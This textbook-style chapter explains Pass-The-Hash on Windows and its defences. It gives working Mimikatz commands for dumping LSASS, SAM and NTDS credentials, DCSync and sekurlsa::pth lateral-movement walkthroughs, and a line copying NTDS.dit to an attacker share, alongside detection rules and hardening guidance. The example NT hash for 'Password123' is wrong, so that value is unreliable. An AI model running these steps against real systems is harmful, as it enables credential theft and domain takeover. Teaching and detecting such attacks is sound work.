Appearance
Chapter 23: Pass-The-Hash
Introduction
If you’ve spent any time in Windows security, you’ve heard of Pass-The-Hash (PtH). It’s the "bread and butter" of lateral movement. The beauty of this attack—and the reason it’s been around since the 90s—is that it exploits a fundamental rule of NTLM: the hash itself is the password. You don't need to crack it, you don't need to guess it; if you have the NTLM hash, you can prove who you are to any system that supports NTLM.
I’ve seen PtH used in almost every successful red team engagement. Despite decades of awareness and numerous Microsoft security improvements, Pass-The-Hash remains viable in most Windows environments due to the continued necessity of supporting legacy NTLM authentication for backward compatibility. Mimikatz takes this technique to a very high level of technical sophistication with the sekurlsa::pth command. Rather than attempting to authenticate directly with a hash (which would require modifying protocol-level behavior), Mimikatz creates a new process with a suspended thread, establishes a logon session for that process, injects the provided hash into the Local Security Authority Subsystem Service (LSASS) memory associated with that logon session, and then resumes the process.
This chapter explores the technical foundations of NTLM authentication that enable PtH attacks, the implementation details of Mimikatz's approach, detection strategies, and defensive countermeasures.
NTLM Authentication and Hash-Based Authentication
NTLM Protocol Overview
NT LAN Manager (NTLM) is a suite of authentication protocols used in Windows environments to provide authentication, integrity, and confidentiality. Despite being succeeded by Kerberos as the primary authentication mechanism in Active Directory domains, NTLM remains widely supported for:
- Workgroup (non-domain) authentication
- Authentication to systems via IP address (Kerberos requires hostname/SPN)
- Legacy applications that don't support Kerberos
- Authentication through proxies and firewalls that break Kerberos
- Fallback when Kerberos fails (DC unreachable, clock skew, etc.)
NTLM Authentication Flow (Challenge-Response):
- Client Request: Client requests access to a server resource
- Server Challenge: Server generates 8-byte random challenge, sends to client
- Client Response: Client encrypts challenge with NT hash, sends encrypted result
- Server Validation: Server verifies response matches expected encryption of challenge
Key Insight for PtH: The client encrypts the server's challenge using the NT hash directly as the encryption key. The NT hash is never transmitted over the network, but it is the cryptographic secret used to prove identity. This means possessing the hash is functionally equivalent to possessing the password for NTLM authentication purposes.
NT Hash Generation
The NT hash (also called NTLM hash) is generated from a user's password using the MD4 algorithm:
NT_Hash = MD4(UTF-16LE(Password))Example:
Password: "Password123"
UTF-16LE Encoding: 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64 00 31 00 32 00 33 00
MD4 Hash: 8A17FD6F96ADB1E28A0F9E5B25A40F72
NT Hash: 8A17FD6F96ADB1E28A0F9E5B25A40F72This hash is stored in:
- SAM Database: For local accounts on workstations/member servers (
C:\Windows\System32\config\SAM) - NTDS.dit: For domain accounts on domain controllers (
C:\Windows\NTDS\ntds.dit) - LSASS Memory: For currently logged-on users (during session lifetime)
Why Pass-The-Hash Works
The fundamental vulnerability that enables PtH attacks is that NTLM challenge-response authentication uses the hash directly:
NTLM Response Calculation:
Challenge: 8 random bytes from server
NT_Response = DES-ECB(NT_Hash, Challenge)The server performs the same calculation:
1. Retrieve user's NT hash from SAM/AD
2. Encrypt the challenge with that hash
3. Compare result with client's response
4. Grant access if they matchCritical Point: At no stage does the actual password enter the authentication process. The NT hash is the cryptographic secret. Therefore:
- If an attacker has the NT hash, they can compute valid NTLM responses
- Password cracking is unnecessary for authentication (though useful for other purposes)
- Changing the password changes the hash, but a stolen hash remains valid until changed
Kerberos and AES Keys
While NTLM uses the NT hash directly, Kerberos in modern Windows uses AES encryption keys derived from passwords:
AES Key Derivation:
Salt = Domain_Name_Uppercase + Username
AES256_Key = PBKDF2-HMAC-SHA1(UTF-8(Password), UTF-8(Salt), 4096 iterations, 32 bytes)
AES128_Key = PBKDF2-HMAC-SHA1(UTF-8(Password), UTF-8(Salt), 4096 iterations, 16 bytes)Mimikatz's sekurlsa::pth supports injecting both NTLM hashes and Kerberos AES keys:
- NT Hash: Works for NTLM authentication and Kerberos RC4 (etype 23)
- AES256 Key: Works for Kerberos AES256-CTS-HMAC-SHA1-96 (etype 18)
- AES128 Key: Works for Kerberos AES128-CTS-HMAC-SHA1-96 (etype 17)
This flexibility allows the attack to work in environments that have disabled RC4 for Kerberos but still support NTLM, or in modern environments using AES Kerberos.
The sekurlsa::pth Command
Command Syntax
mimikatz # sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> [/run:<command>] [/aes128:<key>] [/aes256:<key>] [/rc4:<hash>]Required Parameters:
/user:<username>- The username to impersonate. Note that "Administrator" is not the only name for the built-in admin account; use the actual username (e.g., "admin", "adm", or custom names)./domain:<domain>- The domain name (FQDN or NetBIOS name) for domain accounts, or the computer name, workgroup name, or "localhost" for local accounts.
Hash/Key Parameters (at least one required):
/ntlm:<hash>- The NT hash (NTLM hash) of the user's password, 32 hexadecimal characters./rc4:<hash>- Alias for/ntlm, since the NT hash is used as RC4 key in Kerberos etype 23./aes128:<key>- The AES128 key derived from the user's password and domain salt, 32 hex characters./aes256:<key>- The AES256 key derived from the user's password and domain salt, 64 hex characters.
Optional Parameters:
/run:<command>- The command to execute in the new process. Default:cmd.exe(opens command prompt).
Execution Requirements:
- Elevated Privileges: Must run with
privilege::debugor as SYSTEM account. - LSASS Access: Requires ability to open LSASS process with VM_WRITE permissions.
- Architecture Match: Mimikatz must match system architecture (x64 for 64-bit Windows).
Technical Implementation
Mimikatz's sekurlsa::pth performs a sophisticated multi-step process:
Step 1: Process Creation with Suspended Thread
Mimikatz uses the CreateProcessWithLogonW API to create a process:
c
CreateProcessWithLogonW(
lpUsername, // Provided via /user
lpDomain, // Provided via /domain
L"", // Empty password (intentional)
LOGON_NETCREDENTIALS_ONLY,
NULL,
lpCommandLine, // Provided via /run (default: cmd.exe)
CREATE_SUSPENDED, // Process created but not started
NULL,
NULL,
&si,
&pi
);Key Behaviors:
LOGON_NETCREDENTIALS_ONLY: Creates credentials for network authentication only (doesn't validate password locally)CREATE_SUSPENDED: Main thread is created but not executed, allowing manipulation before process starts- Empty Password: Since password validation is deferred to actual authentication attempts, an empty password is accepted
Step 2: LogonSession LUID Acquisition
Mimikatz opens the newly created process and extracts its logon session identifier:
c
1. OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pi.dwProcessId)
2. OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)
3. GetTokenInformation(hToken, TokenStatistics, &tokenStats, ...)
4. Extract tokenStats.AuthenticationId (LUID of logon session)The LUID (Locally Unique Identifier) identifies the logon session in LSASS that stores credentials for this process. Every process has an associated logon session, which contains cached credentials for authentication.
Step 3: LSASS Memory Injection
Mimikatz opens LSASS and locates the credential structure for the target logon session:
c
1. Open LSASS process (lsass.exe) with VM_READ, VM_WRITE, VM_OPERATION
2. Locate MSV1_0 SSP credential structure for the LUID
3. Navigate to credential list in LSASS memory
4. Inject provided NT hash (and/or AES keys) into credential structureMemory Structure (Simplified):
LSASS Memory
└── LogonSessionList
└── LogonSession[LUID]
└── CredentialList
└── MSV1_0_Credentials
└── NtOwfPassword = Injected_NT_Hash
└── Kerberos_Credentials
└── AES256_Key = Injected_AES256_Key
└── AES128_Key = Injected_AES128_KeyStep 4: Process Resumption
After credential injection:
c
ResumeThread(pi.hThread); // Resume main thread of suspended processThe process now executes with the injected credentials in its logon session. When the process attempts network authentication:
- Process requests authentication (e.g.,
net use \server\[share]) - LSASS retrieves credentials from the process's logon session LUID
- LSASS uses the injected NT hash to perform NTLM authentication
- Server validates challenge-response and grants access
Result: The user receives a command prompt (or other specified process) that can authenticate to network resources as the targeted user, using only the hash.
Usage Examples
Example 1: Local Administrator Hash
Scenario: Extracted local administrator hash from SAM database.
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::pth /user:Administrator /domain:WORKSTATION01 /ntlm:8A17FD6F96ADB1E28A0F9E5B25A40F72
user : Administrator
domain : WORKSTATION01
program : cmd.exe
impers. : no
NTLM : 8A17FD6F96ADB1E28A0F9E5B25A40F72
| PID 1234
| TID 5678
| LUID 0 ; 12345678
\_ msv1_0 - data copy @ 00007FF8DEADBEEFA new command window opens. From that window:
cmd
C:\Windows\System32> net use \\10.0.0.50\C$ /user:WORKSTATION01\Administrator
The command completed successfully.
C:\Windows\System32> dir \\10.0.0.50\C$
Volume in drive \\10.0.0.50\C$ is Windows
[Directory listing...]Example 2: Domain User Hash
Scenario: Dumped domain user hash from LSASS memory.
mimikatz # sekurlsa::pth /user:bob /domain:CORP.LOCAL /ntlm:FC525C9683E8FE067095BA2DDC971889 /run:powershell.exe
user : bob
domain : CORP.LOCAL
program : powershell.exe
impers. : no
NTLM : FC525C9683E8FE067095BA2DDC971889
| PID 9876
| TID 5432
| LUID 0 ; 87654321
\_ msv1_0 - data copy @ 00007FF8CAFEBABEPowerShell window opens with bob's network credentials:
powershell
PS C:\> Get-ChildItem \\dc01.corp.local\SYSVOL
Directory: \\dc01.corp.local\SYSVOL
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2024 3:45 PM corp.local
PS C:\> Enter-PSSession -ComputerName SERVER01
[SERVER01]: PS C:\> whoami
corp\bobExample 3: AES256 Key for Modern Environment
Scenario: Environment has disabled RC4 for Kerberos, only AES supported.
mimikatz # sekurlsa::pth /user:admin /domain:CORP.LOCAL /aes256:c7cc0f52e33c9a84f1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4 /run:cmd.exe
user : admin
domain : CORP.LOCAL
program : cmd.exe
impers. : no
AES256 : c7cc0f52e33c9a84f1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4
| PID 3456
| TID 7890
| LUID 0 ; 23456789
\_ kerberos - data copy @ 00007FF8DEADC0DEKerberos authentication uses AES256 key:
cmd
C:\> klist tickets
...
Ticket Encryption Type: AES-256-CTS-HMAC-SHA1-96Example 4: Combined Hash and AES Keys
For maximum compatibility across authentication scenarios:
mimikatz # sekurlsa::pth /user:admin /domain:CORP /ntlm:8A17FD6F96ADB1E28A0F9E5B25A40F72 /aes256:c7cc0f52e33c9a84f1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4This allows:
- NTLM authentication using NT hash
- Kerberos RC4 (etype 23) using NT hash as RC4 key
- Kerberos AES256 (etype 18) using AES256 key
- Kerberos AES128 (etype 17) using AES128 key
Obtaining Hashes for Pass-The-Hash
From LSASS Memory
The most common method is extracting hashes from LSASS memory on a compromised system:
Using sekurlsa::logonpasswords:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 1234567 (00000000:0012d687)
Session : Interactive from 1
User Name : alice
Domain : CORP
Logon Server : DC01
Logon Time : 11/30/2024 9:15:23 AM
SID : S-1-5-21-123456789-123456789-123456789-1001
msv :
[00000003] Primary
* Username : alice
* Domain : CORP
* NTLM : fc525c9683e8fe067095ba2ddc971889
* SHA1 : a3d5f6e7c8b9a0b1c2d3e4f5a6b7c8d9e0f1a2b3
kerberos :
* Username : alice
* Domain : CORP.LOCAL
* Password : (null)
ssp :
credman :Extract the NTLM hash: fc525c9683e8fe067095ba2ddc971889
Use in PtH:
sekurlsa::pth /user:alice /domain:CORP /ntlm:fc525c9683e8fe067095ba2ddc971889From SAM Database
For local accounts, extract hashes from the SAM registry hive:
Live System (requires SYSTEM):
mimikatz # token::elevate
mimikatz # lsadump::sam
Domain : WORKSTATION01
SysKey : 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
Local Users
Administrator
RID : 000001f4 (500)
User : Administrator
NTLM : 8a17fd6f96adb1e28a0f9e5b25a40f72
Guest
RID : 000001f5 (501)
User : Guest
bob
RID : 000003e9 (1001)
User : bob
NTLM : 64f12cddaa88057e06a81b54e73b949bOffline (from registry hive backups):
cmd
reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hiveThen on attacker system:
mimikatz # lsadump::sam /system:C:\temp\system.hive /sam:C:\temp\sam.hiveFrom NTDS.dit (Domain Controller)
For domain accounts, extract from the Active Directory database:
Using ntdsutil (requires DA):
cmd
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds" q qExtract hashes from NTDS.dit:
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'Administrator' will be the user account
Object RID : 500
SAM Username : Administrator
User Principal Name : Administrator@corp.local
Credentials:
Hash NTLM: 8a17fd6f96adb1e28a0f9e5b25a40f72Or extract all hashes:
mimikatz # lsadump::dcsync /domain:corp.local /all /csvFrom Network Captures (Responder, LLMNR/NBT-NS Poisoning)
Capture NTLMv2 challenge-response, crack offline:
alice::CORP:1122334455667788:d6a3b2c1e5f4a7b8c9d0e1f2a3b4c5d6:01010000...Crack with Hashcat:
bash
hashcat -m 5600 hash.txt wordlist.txt --forceIf cracked, use the password to generate the NT hash, or use the password directly.
Attack Scenarios
Scenario 1: Lateral Movement After Workstation Compromise
Context: Attacker compromises a user workstation via phishing.
Attack Flow:
Initial Access: User "alice" clicks malicious link, runs attacker payload.
- Payload establishes C2 beacon - Attacker has standard user privileges on WORKSTATION05Credential Dumping:
beacon> execute-assembly Mimikatz.exe privilege::debug sekurlsa::logonpasswords [Output shows alice's hash and local admin hash] alice - NTLM: fc525c9683e8fe067095ba2ddc971889 Administrator (local) - NTLM: 8a17fd6f96adb1e28a0f9e5b25a40f72Local Privilege Escalation:
beacon> mimikatz sekurlsa::pth /user:Administrator /domain:WORKSTATION05 /ntlm:8a17fd6f96adb1e28a0f9e5b25a40f72 /run:powershell.exe [New PowerShell window with local admin network credentials]Network Reconnaissance:
powershellPS> Get-ADComputer -Filter * | Select-Object Name # Identify other workstations and servers WORKSTATION01 WORKSTATION02 ... SERVER01 SERVER02Lateral Movement via PsExec:
PS> .\PsExec.exe \\WORKSTATION02 -accepteula cmd.exe # If local admin hash is reused across workstations, gain access C:\Windows\system32>whoami workstation02\administratorCredential Harvesting on New System:
C:\> mimikatz.exe privilege::debug sekurlsa::logonpasswords # Find domain admin who recently logged into WORKSTATION02 Domain Admin "bob" - NTLM: 64f12cddaa88057e06a81b54e73b949bDomain Admin Access:
mimikatz # sekurlsa::pth /user:bob /domain:CORP /ntlm:64f12cddaa88057e06a81b54e73b949b # Now have domain admin privileges C:\> net use \\DC01\C$
Result: From initial user workstation compromise to domain admin access via cascading Pass-The-Hash attacks.
Scenario 2: Persistent Access with Stolen Hashes
Context: Red team assessment with periodic access to target environment.
Attack Flow:
Initial Compromise: Gain access to member server during business hours.
- Exploit vulnerable web application on SERVER03 - Web app runs as service account "svc_web"Hash Extraction:
mimikatz # sekurlsa::logonpasswords svc_web - NTLM: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 Local_Admin - NTLM: f1e2d3c4b5a6978809c0b1a2d3e4f5a6Store Hashes Securely:
Attacker maintains hash database: SERVER03\Local_Admin: f1e2d3c4b5a6978809c0b1a2d3e4f5a6 CORP\svc_web: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6Re-Access After Hours (Days Later):
# From attacker workstation mimikatz # sekurlsa::pth /user:svc_web /domain:CORP /ntlm:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 # Access server C:\> net use \\SERVER03\C$ C:\> PsExec.exe \\SERVER03 cmd.exeHash Remains Valid:
Unless svc_web password is changed, hash works indefinitely Red team maintains access for assessment duration
Persistence Benefits:
- No need to re-exploit vulnerability
- Access survives application patching
- Works even if vulnerability is fixed
- Only password change invalidates access
Scenario 3: Bypass Least Privilege with Service Account Hash
Context: Organization implements least privilege for interactive logons but service accounts have excessive permissions.
Attack Flow:
Compromise Standard User Workstation:
- Social engineering attack on user "carol" - Gain standard user access to WORKSTATION10Discover Service Account in Memory:
mimikatz # sekurlsa::logonpasswords ... svc_backup - NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d (Service account with backup operators privileges)Use Service Account Hash:
mimikatz # sekurlsa::pth /user:svc_backup /domain:CORP /ntlm:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d C:\> net use \\DC01\C$ # Service account has backup privileges on DCBackup NTDS.dit:
cmdwbadmin start backup -backupTarget:\\ATTACKER-SERVER\share -include:C:\Windows\NTDS\ntds.dit -quietExtract All Domain Hashes:
mimikatz # lsadump::dcsync /domain:corp.local /all /csv > all_hashes.txt
Result: Service account over-privilege bypasses user-level least privilege controls, enabling domain-wide compromise.
Detection Strategies
Event ID 4648: Explicit Credential Logon
When CreateProcessWithLogonW is called, Windows logs Event ID 4648.
Event Details:
xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>4648</EventID>
<Task>Logon</Task>
</System>
<EventData>
<Data Name="SubjectUserSid">S-1-5-21-...-1001</Data>
<Data Name="SubjectUserName">alice</Data>
<Data Name="SubjectDomainName">CORP</Data>
<Data Name="SubjectLogonId">0x12d687</Data>
<Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
<Data Name="TargetUserName">Administrator</Data>
<Data Name="TargetDomainName">WORKSTATION05</Data>
<Data Name="TargetLogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
<Data Name="TargetServerName">localhost</Data>
<Data Name="TargetInfo">localhost</Data>
<Data Name="ProcessId">0x1a2b</Data>
<Data Name="ProcessName">C:\Tools\mimikatz.exe</Data>
</EventData>
</Event>Detection Logic:
Alert on Event ID 4648 WHERE:
- TargetServerName = "localhost" (local credential use)
- ProcessName contains "mimikatz", "powershell", "cmd" (suspicious processes)
- TargetUserName != SubjectUserName (impersonation)Limitations:
- Event ID 4648 is common for legitimate
runasoperations - High volume in environments with task scheduler or services
- Requires filtering to reduce false positives
Splunk Query Example:
spl
index=windows EventCode=4648 TargetServerName="localhost"
| where TargetUserName != SubjectUserName
| stats count by SubjectUserName, TargetUserName, ProcessName, ComputerName
| where count > 5Sysmon Event ID 10: LSASS Process Access
PtH requires injecting credentials into LSASS memory, generating process access events.
Sysmon Configuration:
xml
<RuleGroup name="LSASS Protection" groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
<GrantedAccess condition="is">0x1410</GrantedAccess>
</ProcessAccess>
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
<SourceImage condition="contains any">mimikatz;powershell;cmd;wmic</SourceImage>
</ProcessAccess>
</RuleGroup>Event Data:
xml
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>10</EventID>
</System>
<EventData>
<Data Name="SourceImage">C:\Tools\mimikatz.exe</Data>
<Data Name="TargetImage">C:\Windows\System32\lsass.exe</Data>
<Data Name="GrantedAccess">0x1410</Data>
<Data Name="CallTrace">C:\Windows\SYSTEM32\ntdll.dll+9d4c4|...</Data>
</EventData>
</Event>Indicators:
- SourceImage from non-standard locations (C:\Users, C:\Temp, C:\ProgramData)
- Unexpected GrantedAccess values (0x1410, 0x1FFFFF)
- CallTrace shows unusual DLL loading patterns
NTLM Authentication Monitoring
While PtH doesn't create typical logon events, NTLM authentication still generates telemetry.
Event ID 4776: NTLM Authentication
LogName: Security
Source: Microsoft-Windows-Security-Auditing
EventID: 4776
Message: The computer attempted to validate credentials for an account
Account Name: alice
Source Workstation: WORKSTATION05
Error Code: 0x0 (success)Anomaly Detection:
- Same account authenticating from multiple workstations simultaneously
- Accounts authenticating to unusual systems
- High volume of NTLM authentications from single source
- Service accounts authenticating interactively
Query for Unusual NTLM Volume:
powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4776}
| Where-Object {$_.Properties[1].Value -eq '0x0'}
| Group-Object {$_.Properties[0].Value}
| Where-Object {$_.Count -gt 50}
| Sort-Object Count -DescendingBehavioral Analytics
User and Entity Behavior Analytics (UEBA):
Baseline normal authentication patterns per user
Alert on deviations:
- User authenticating outside normal hours
- User accessing unusual systems
- Geographic impossibilities (VPN switching, concurrent distant locations)
- Sudden access to resources previously never accessed
Example SIEM Rule (Pseudocode):
FOR each successful authentication:
IF user_has_never_accessed_this_system_before():
RAISE ALERT("First-time system access by user")
IF authentication_outside_business_hours():
RAISE ALERT("After-hours authentication")
IF authentication_encryption_type == NTLM AND user_typically_uses_Kerberos():
RAISE ALERT("Unexpected NTLM usage")EDR Detection
Modern EDR solutions detect PtH through:
Memory Analysis:
- Detect credential injection into LSASS
- Identify suspicious LSASS memory modifications
- Recognize known Mimikatz code patterns
Process Behavior:
- CreateProcessWithLogonW with empty password
- Immediate LSASS access after process creation
- Process tree analysis (unusual parent-child relationships)
Credential Usage Anomalies:
- Process using credentials for different user than process owner
- Network authentication without corresponding logon event
Defensive Strategies
Restrict NTLM Authentication
The most effective long-term defense is eliminating NTLM entirely.
Domain-Wide NTLM Restrictions:
Audit Mode (Phase 1):
Computer Configuration → Policies → Windows Settings → Security Settings
→ Local Policies → Security Options
→ Network security: Restrict NTLM: Audit NTLM authentication in this domain
→ Enabled: Enable allMonitor Event ID 8004 for 30-90 days:
Event ID 8004: NTLM authentication audit
Records NTLM authentication attempts and sourceEnforcement (Phase 2):
→ Network security: Restrict NTLM: NTLM authentication in this domain
→ Deny all (recommended) OR Deny for domain accounts to domain serversAllow Exceptions:
→ Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication
→ List specific servers/applications that require NTLMWorkstation-to-Workstation Blocking:
→ Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers
→ Deny allPrevents lateral movement via NTLM (forces Kerberos, which provides better auditing).
Implement LSA Protection (PPL)
LSA Protected Process Light prevents unsigned code from accessing LSASS memory.
Enable via Registry:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa
RunAsPPL = 1 (DWORD)Enable via Group Policy:
Computer Configuration → Administrative Templates → System → Local Security Authority
→ Configure LSASS to run as a protected process: EnabledImpact:
- Mimikatz
sekurlsa::pthfails with "access denied" - Credential dumping blocked
- Requires kernel-mode driver or boot-level bypass
Requirements:
- Windows 8.1 / Server 2012 R2 or later
- UEFI with Secure Boot enabled
Credential Guard
Windows Defender Credential Guard uses virtualization-based security to isolate credentials.
Enable via Group Policy:
Computer Configuration → Administrative Templates → System → Device Guard
→ Turn on Virtualization Based Security: Enabled
- Credential Guard Configuration: Enabled with UEFI lockProtection:
- Credentials stored in isolated virtual container (VTL-1)
- LSASS cannot access plaintext credentials
- PtH with NTLM still possible, but reduces credential exposure
Limitations:
- Only protects against plaintext credential theft
- Does not prevent PtH with already-stolen hashes
- Incompatible with domain controllers
Local Administrator Password Solution (LAPS)
LAPS randomizes local administrator passwords across workstations/servers.
Deployment:
Install LAPS GPO templates
Configure LAPS policy:
- Path:
Computer Configuration → Policies → Administrative Templates → LAPS - Setting: Enable local admin password management (Enabled)
- Password Settings:
- Password Length: 20 characters
- Password Age: 30 days
- Password Complexity: Large letters + small letters + numbers + special
- Path:
Extend Active Directory schema (
adprep)Set permissions on computer objects for password storage
Effect:
- Each workstation has unique local admin password
- Passwords rotated automatically
- Lateral movement via local admin hash stopped (hash only works on one system)
PtH Impact: Hash extracted from WORKSTATION01 local admin only works on WORKSTATION01, not WORKSTATION02-50.
Privileged Access Workstations (PAWs)
Dedicated administrative workstations with hardened security.
PAW Characteristics:
- No internet access
- No email client
- Credential Guard enabled
- LSA PPL enabled
- Application whitelisting (WDAC/AppLocker)
- Disabled SMBv1, LLMNR, NetBIOS
- Monitored extensively
Administrative Process:
- Administrator uses standard user account on regular workstation
- Switches to PAW for administrative tasks
- Credentials only entered on PAW (never on user workstation)
- PtH risk isolated to PAW environment
Least Privilege and Just-in-Time Administration
Principle of Least Privilege:
- Remove permanent Domain Admin membership
- Grant privileges only when needed
- Use Privileged Identity Management (PIM) solutions
Microsoft Identity Manager (MIM) / Azure AD PIM:
1. User requests Domain Admin access
2. Manager approves (optional: MFA required)
3. User granted Domain Admin for 4 hours
4. Access automatically revoked after expirationImpact:
- Reduces window for hash theft
- Limits value of stolen hashes (time-limited)
- Provides accountability and auditing
Monitoring and Alerting
Real-Time Alerts:
- Sysmon Event ID 10: Unusual LSASS access
- Event ID 4648: Explicit credential usage from suspicious processes
- Event ID 4776: High-volume NTLM authentication anomalies
- EDR alerts on credential injection
Automated Response:
IF LSASS_access_from_mimikatz_detected():
- Isolate host from network
- Kill suspicious process
- Capture memory dump for forensics
- Alert SOC for investigation
- Force password reset for accounts in LSASS memory on hostPractical Exercises
Exercise 1: Pass-The-Hash Execution
Objective: Execute Pass-The-Hash attack in lab environment.
Prerequisites:
- Isolated lab domain (NOT production)
- Windows 10 workstation (CLIENT01)
- Windows Server 2019 member server (SERVER01)
- Domain admin account
- Mimikatz binary
Steps:
Extract Hash from LSASS
- Log into CLIENT01 as domain user "alice" - Execute Mimikatz as administrator - Run: privilege::debug - Run: sekurlsa::logonpasswords - Copy alice's NTLM hashExecute Pass-The-Hash
- Run: sekurlsa::pth /user:alice /domain:CORP /ntlm:[hash] - Observe new command window - Note Event IDs generated (4648, Sysmon 10)Test Network Authentication
- From PtH command window: net use \\SERVER01\C$ - Verify successful authentication without password - Access file shares: dir \\SERVER01\C$\UsersVerify Credentials in New Process
- From PtH window: klist - Observe Kerberos tickets for alice - Run: whoami /all - Confirm process runs as local user but network credentials are alice
Questions:
- What Event IDs were generated?
- Does the PtH window show alice as the current user (whoami)?
- Can you access resources alice normally accesses?
Exercise 2: Detection Development
Objective: Build detection for Pass-The-Hash attacks.
Prerequisites:
- Sysmon installed on CLIENT01
- Windows Event Forwarding or SIEM
- Administrative access
Steps:
Baseline LSASS Access
powershell# Collect 1 hour of normal LSASS access events Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 10 -and $_.Properties[4].Value -match "lsass.exe"} | Select-Object TimeCreated, @{N='SourceImage';E={$_.Properties[3].Value}}, @{N='GrantedAccess';E={$_.Properties[6].Value}} # Identify legitimate processesExecute PtH Attack
- Run sekurlsa::pth as in Exercise 1 - Capture all event data during attackIdentify Attack Indicators
- Sysmon Event ID 10: mimikatz.exe → lsass.exe, GrantedAccess 0x1410 - Event ID 4648: mimikatz.exe using explicit credentials - Event ID 4776: NTLM authentication shortly afterCreate Detection Rule
xml<!-- Sysmon Rule --> <RuleGroup name="PtH Detection" groupRelation="or"> <ProcessAccess onmatch="include"> <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage> <GrantedAccess condition="is">0x1410</GrantedAccess> </ProcessAccess> </RuleGroup>spl# Splunk Correlation Rule index=windows (EventCode=10 TargetImage="*lsass.exe" GrantedAccess="0x1410") OR (EventCode=4648) | transaction host maxspan=30s | where EventCode=10 AND EventCode=4648 | stats count by host, userTest False Positive Rate
- Run legitimate administrative tasks - Use runas command - Execute security scanners - Measure alert accuracy
Deliverable: Detection rule with <10% false positive rate and 100% true positive rate.
Exercise 3: Defensive Hardening
Objective: Deploy defenses to prevent Pass-The-Hash.
Prerequisites:
- Lab domain with CLIENT01 and SERVER01
- Administrative access
Steps:
Enable LSA Protection on CLIENT01
powershellSet-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -Type DWord Restart-ComputerTest PtH with LSA PPL Enabled
- Attempt sekurlsa::pth - Observe "Handle on memory (0x00000005)" error (Access Denied) - Document Event IDs (attempt logged even though blocked)Deploy LAPS (if available in lab)
- Install LAPS GPO templates - Configure password policy - Apply to workstations OU - Force group policy update - Verify unique local admin passwordsRestrict NTLM (Audit Mode)
- Create GPO: "NTLM Audit Policy" - Computer Config → Policies → Windows Settings → Security Settings → Local Policies → Security Options - Network security: Restrict NTLM: Audit NTLM authentication in this domain - Set to: Enable all - Apply to entire domain - Monitor Event ID 8004 for 24 hoursAnalyze NTLM Usage
powershellGet-WinEvent -LogName "Microsoft-Windows-NTLM/Operational" -FilterXPath "*[System[EventID=8004]]" | Select-Object TimeCreated, Message | Out-GridViewEnforce NTLM Restrictions (if no critical dependencies)
- Modify GPO: Network security: Restrict NTLM: NTLM authentication in this domain - Set to: Deny for domain accounts to domain servers - Test PtH (should fail for domain resources)
Validation:
- PtH blocked by LSA PPL
- LAPS prevents local admin hash reuse
- NTLM restrictions limit lateral movement
Expected Results:
- PtH blocked by LSA PPL
- LAPS prevents local admin hash reuse
- NTLM restrictions limit lateral movement
Summary
Pass-The-Hash remains one of the most effective and widely-used attack techniques in Windows environments due to the fundamental design of NTLM authentication, where the hash itself is the cryptographic secret rather than merely a password verifier. This characteristic means that an attacker who obtains a user's NT hash can authenticate to network resources as that user without ever needing to know or crack the password.
Key Technical Points:
NTLM Architecture: The protocol uses the NT hash directly to encrypt server challenges during authentication, making hash possession equivalent to password possession for NTLM authentication purposes.
Mimikatz Implementation: The
sekurlsa::pthcommand creates a process with suspended thread, establishes a logon session, injects the provided hash into LSASS memory for that session's LUID, and resumes the process, resulting in a shell with network authentication capability.Kerberos Compatibility: Modern implementations support both NTLM hashes (for RC4-HMAC Kerberos and NTLM auth) and AES keys (for AES128/256 Kerberos), providing flexibility across different environment configurations.
Detection Vectors: Primary detection relies on Event ID 4648 (explicit credential logon), Sysmon Event ID 10 (LSASS process access), and Event ID 4776 (NTLM authentication), along with behavioral analytics for anomalous authentication patterns.
Defense Layering:
- NTLM Restriction: Eliminating NTLM protocol prevents the attack entirely
- LSA PPL: Blocks credential injection into LSASS memory
- LAPS: Prevents local admin hash reuse across systems
- Credential Guard: Reduces credential exposure (but doesn't prevent PtH with stolen hashes)
- PAWs: Isolates administrative credentials to hardened systems
Operational Considerations:
For offensive practitioners, Pass-The-Hash is valuable because:
- No password cracking required (saves time and resources)
- Works with any NT hash (extracted from memory, SAM, NTDS, or network captures)
- Bypasses many application-layer authentication controls
- Enables lateral movement with local admin hash reuse
- Combines with other attacks (DCSync after DA hash obtained)
For defensive teams, protecting against PtH requires:
- Transitioning away from NTLM to Kerberos-only authentication
- Implementing LSA PPL on all Windows 8.1+ systems
- Deploying LAPS for unique local administrator passwords
